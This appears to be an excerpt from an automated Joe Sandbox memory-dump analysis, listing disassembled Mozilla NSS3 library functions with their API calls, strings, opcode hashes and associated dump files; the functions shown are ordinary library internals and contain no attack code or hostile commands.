Part of subcall function 6CBC1E10: PR_Unlock.NSS3 ref: 6CBC1E76

free.MOZGLUE(?,6CBAD079,00000000,00000001), ref: 6CBACDA5
PK11_FreeSymKey.NSS3(?,6CBAD079,00000000,00000001), ref: 6CBACDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CBAD079,00000000,00000001), ref: 6CBACDCF
DeleteCriticalSection.KERNEL32(?,6CBAD079,00000000,00000001), ref: 6CBACDE2
free.MOZGLUE(?), ref: 6CBACDE9

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 9da9182978d74f0c707ebc8885f5419df023a293946cf7ca05f7d8634c3ef5dc
Instruction ID: f7f7fd4240354491538c871e2d378ba6fad74ded844a0170ab121073748c8893
Opcode Fuzzy Hash: 9da9182978d74f0c707ebc8885f5419df023a293946cf7ca05f7d8634c3ef5dc
Instruction Fuzzy Hash: 051102B2B01161BBDB00AFA4EC8499AB73CFF042597140121E94883E01E732F475C7E2

Function 6CC12CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC15B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC12CEC

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PR_EnterMonitor.NSS3(?), ref: 6CC12D02
PR_EnterMonitor.NSS3(?), ref: 6CC12D1F
PR_ExitMonitor.NSS3(?), ref: 6CC12D42
PR_ExitMonitor.NSS3(?), ref: 6CC12D5B

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 167e8516b06f54cd0990543a7cbec3244d597d3b147c3bba2aac09adc785d83c
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: F601C4B9A142005BE730AF27FC40BC7B7A5EF46318F008565E85A86F20F632F916D792

Function 6CC12D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC15B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC15B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC12D9C

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PR_EnterMonitor.NSS3(?), ref: 6CC12DB2
PR_EnterMonitor.NSS3(?), ref: 6CC12DCF
PR_ExitMonitor.NSS3(?), ref: 6CC12DF2
PR_ExitMonitor.NSS3(?), ref: 6CC12E0B

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 2cdd61584ca369724ded153f22bd674494eb8da17237f35560ff0e1a6e5e56a4
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 4B01A1B9A142045BEB309F26FC01BC7B7A5EF46318F008475E85A86F11F632E925D693

Function 6CBAAE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CB93090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CBAAE42), ref: 6CB930AA
Part of subcall function 6CB93090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB930C7
Part of subcall function 6CB93090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CB930E5
Part of subcall function 6CB93090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB93116
Part of subcall function 6CB93090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB9312B
Part of subcall function 6CB93090: PK11_DestroyObject.NSS3(?,?), ref: 6CB93154
Part of subcall function 6CB93090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB9317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CB899FF,?,?,?,?,?,?,?,?,?,6CB82D6B,?), ref: 6CBAAE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CB899FF,?,?,?,?,?,?,?,?,?,6CB82D6B,?), ref: 6CBAAE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CB82D6B,?,?,00000000), ref: 6CBAAE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CB82D6B,?,?,00000000), ref: 6CBAAE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CB82D6B,?,?), ref: 6CBAAEA3

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 5e5e9397cbb34fa83de87e41b403a2cae10f18602487ec239538d5a6fddd0beb
Instruction ID: 9116024d7e478494668ee23d0494dada9f1a52adcd621bd2dc983dafb6f16302
Opcode Fuzzy Hash: 5e5e9397cbb34fa83de87e41b403a2cae10f18602487ec239538d5a6fddd0beb
Instruction Fuzzy Hash: 3901F4B2F0D1E097E70192ACAC85AAF3158CF8765DF180032E889C7B01F612E9064EF3

Function 6CC9BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CC97AFE,?,?,?,?,?,?,?,?,6CC9798A), ref: 6CC9BDC3
free.MOZGLUE(?,?,6CC97AFE,?,?,?,?,?,?,?,?,6CC9798A), ref: 6CC9BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CC97AFE,?,?,?,?,?,?,?,?,6CC9798A), ref: 6CC9BDE9
free.MOZGLUE(?,00000000,00000000,?,6CC97AFE,?,?,?,?,?,?,?,?,6CC9798A), ref: 6CC9BE21
free.MOZGLUE(00000000,00000000,?,6CC97AFE,?,?,?,?,?,?,?,?,6CC9798A), ref: 6CC9BE32

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 98971ea879b05618e31d4462fffed7049cfe8b7967e274550963e846f32043e5
Instruction ID: 75046495858c5a053d108fe6f674a36e7bd64c4e47c7bfdd8e8e3f6a291fce22
Opcode Fuzzy Hash: 98971ea879b05618e31d4462fffed7049cfe8b7967e274550963e846f32043e5
Instruction Fuzzy Hash: 4F1148B5B012569FDF90DF29C829B023BB8BB8F354B44006AE50EC7790EB31A416CB91

Function 6CC97C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CC97C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC97C83
malloc.MOZGLUE(00000001), ref: 6CC97C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CC97C9F
PR_GetCurrentThread.NSS3 ref: 6CC97CAD

Part of subcall function 6CC49BF0: TlsGetValue.KERNEL32(?,?,?,6CC90A75), ref: 6CC49C07

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 149bedae0e5e4fd8cbcd67dfa057f1f0b5260731a3a72d8fdf74f26534ca69e0
Instruction ID: c0d060571ce0e5c7799c924064c7ee8f5fba7cb1267a5ccfc64ee6b7cc0e5fac
Opcode Fuzzy Hash: 149bedae0e5e4fd8cbcd67dfa057f1f0b5260731a3a72d8fdf74f26534ca69e0
Instruction Fuzzy Hash: ACF0A9B1A102166BEB009F3A9C099877B6CAF002A5B01846AE809C3B00FB30E114CBA6

Function 6CC9ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CC9A6D8), ref: 6CC9AE0D
free.MOZGLUE(?), ref: 6CC9AE14
DeleteCriticalSection.KERNEL32(6CC9A6D8), ref: 6CC9AE36
free.MOZGLUE(?), ref: 6CC9AE3D
free.MOZGLUE(00000000,00000000,?,?,6CC9A6D8), ref: 6CC9AE47

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 14452981f666d6f2c4e8ae46fc745708d9772c385a037aed8f0c751307d4c042
Instruction ID: 8e4858c44309084e91f81b3ca02d37e8db66229d57665eb7a08a9fdf012c0336
Opcode Fuzzy Hash: 14452981f666d6f2c4e8ae46fc745708d9772c385a037aed8f0c751307d4c042
Instruction Fuzzy Hash: C0F09675601A01ABCA119F68D848957B778BF867757140328E52E83940E731F165C7D5

Function 6CB27C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB27D35

Strings

database corruption, xrefs: 6CB27D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB27D13, 6CB27D1F, 6CB27D47, 6CB27D53, 6CB27D5F
%s at line %d of [%.10s], xrefs: 6CB27D2E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 8d8212bbe470e692909aafe1525e7d225e8cc60964aa5e8cb1b42e1b46be0be6
Instruction ID: 39e7ab80d7d05c8b16d0ea8555e1fe16a78dde8cc9c9eaf3c0914b7ca11a5fe8
Opcode Fuzzy Hash: 8d8212bbe470e692909aafe1525e7d225e8cc60964aa5e8cb1b42e1b46be0be6
Instruction Fuzzy Hash: FD314872E042799BC710CF9EC8809BDB7F1EF44345B59019AE448B7B82E6B4D851C7A9

Function 6CB16C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CB16D36

Strings

database corruption, xrefs: 6CB16D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB16D20
%s at line %d of [%.10s], xrefs: 6CB16D2F

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: fbec23f8325c914d8b4657291205f7966c9f8d7536bbad7dfc6610f5cde0a353
Instruction ID: 8f9c53fe1950c6ae0cc655463981d5ea9e220735d104593270385ea0df608ebf
Opcode Fuzzy Hash: fbec23f8325c914d8b4657291205f7966c9f8d7536bbad7dfc6610f5cde0a353
Instruction Fuzzy Hash: 8F210371B183559BC710CE1AC841B5AB7F2EF85308F14892CD8499BF51E771F949CB92

Function 6CC4CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CC4CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CC4CC7B), ref: 6CC4CD7A
Part of subcall function 6CC4CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC4CD8E
Part of subcall function 6CC4CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC4CDA5
Part of subcall function 6CC4CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC4CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CC4CCB5
memcpy.VCRUNTIME140(6CCE14F4,6CCE02AC,00000090), ref: 6CC4CCD3
memcpy.VCRUNTIME140(6CCE1588,6CCE02AC,00000090), ref: 6CC4CD2B

Part of subcall function 6CB69AC0: socket.WSOCK32(?,00000017,6CB699BE), ref: 6CB69AE6
Part of subcall function 6CB69AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CB699BE), ref: 6CB69AFC

Part of subcall function 6CB70590: closesocket.WSOCK32(6CB69A8F,?,?,6CB69A8F,00000000), ref: 6CB70597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CC4CCB0

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: ab15a49c68c03c080cece5da68d3d574f348cc5239932948624f3bcdec452950
Instruction ID: e0220f9786dcbe37eb23d5301015eb8c038780541f85f697fffc3b9039455847
Opcode Fuzzy Hash: ab15a49c68c03c080cece5da68d3d574f348cc5239932948624f3bcdec452950
Instruction Fuzzy Hash: 1D1166F2B022405EDB909F9E9C477563AB8934F258F145029E51ACBB53F771C464CBD2

Function 6CBB1CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CBB1CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CBB1CF1

Part of subcall function 6CC909D0: PR_Now.NSS3 ref: 6CC90A22
Part of subcall function 6CC909D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CC90A35
Part of subcall function 6CC909D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CC90A66
Part of subcall function 6CC909D0: PR_GetCurrentThread.NSS3 ref: 6CC90A70
Part of subcall function 6CC909D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CC90A9D
Part of subcall function 6CC909D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CC90AC8
Part of subcall function 6CC909D0: PR_vsmprintf.NSS3(?,?), ref: 6CC90AE8
Part of subcall function 6CC909D0: EnterCriticalSection.KERNEL32(?), ref: 6CC90B19
Part of subcall function 6CC909D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC90B48
Part of subcall function 6CC909D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC90C76
Part of subcall function 6CC909D0: PR_LogFlush.NSS3 ref: 6CC90C7E

Strings

C_Initialize, xrefs: 6CBB1CD3
pInitArgs = 0x%p, xrefs: 6CBB1CEC

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: c5b632596375c922d67883d72bea7a6b21f8acc80fe20cca849e4f658487e642
Instruction ID: 5c386c2cc920316622be655933620897fe9825ee9fc0c15889a3cb60905385d1
Opcode Fuzzy Hash: c5b632596375c922d67883d72bea7a6b21f8acc80fe20cca849e4f658487e642
Instruction Fuzzy Hash: A0019E352011C5DFDF849B64E959B6933B9EB8B31AF084425E808E7611EF34D949C792

Function 6CB17F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB181DF
LeaveCriticalSection.KERNEL32(?), ref: 6CB18239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CB18255
sqlite3_free.NSS3(00000000), ref: 6CB18260

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 72adc817c0379f381de95f3037769efa252160be28ed03852aa892c5ce053d68
Instruction ID: 4b9885ffd26e4ab9b3654121054c5427ea5d54e6de465b76aca0a6d4e7a4ce09
Opcode Fuzzy Hash: 72adc817c0379f381de95f3037769efa252160be28ed03852aa892c5ce053d68
Instruction Fuzzy Hash: D891C231A45688CFEF04DFE4D84879DB7B2FF0A305F25012ED4169BA50DB36A956CB82

Function 6CBF1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBF1D8F

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBF1DA6

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CBF1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBF1ED0

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 6b838fd9af5981a036cf2bdec1c897b54fd977303b465646a7bb1d6335c7b2ea
Instruction ID: 53b0b26c51ae2c6884afe27f79d3b617603a1671c433c3c624bbf443740eef4a
Opcode Fuzzy Hash: 6b838fd9af5981a036cf2bdec1c897b54fd977303b465646a7bb1d6335c7b2ea
Instruction Fuzzy Hash: 7E515AB5A00349CFDB04CF98C884BAEB7B6FF49318F184529D8299B751D731E94ACB91

Function 6CC44FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

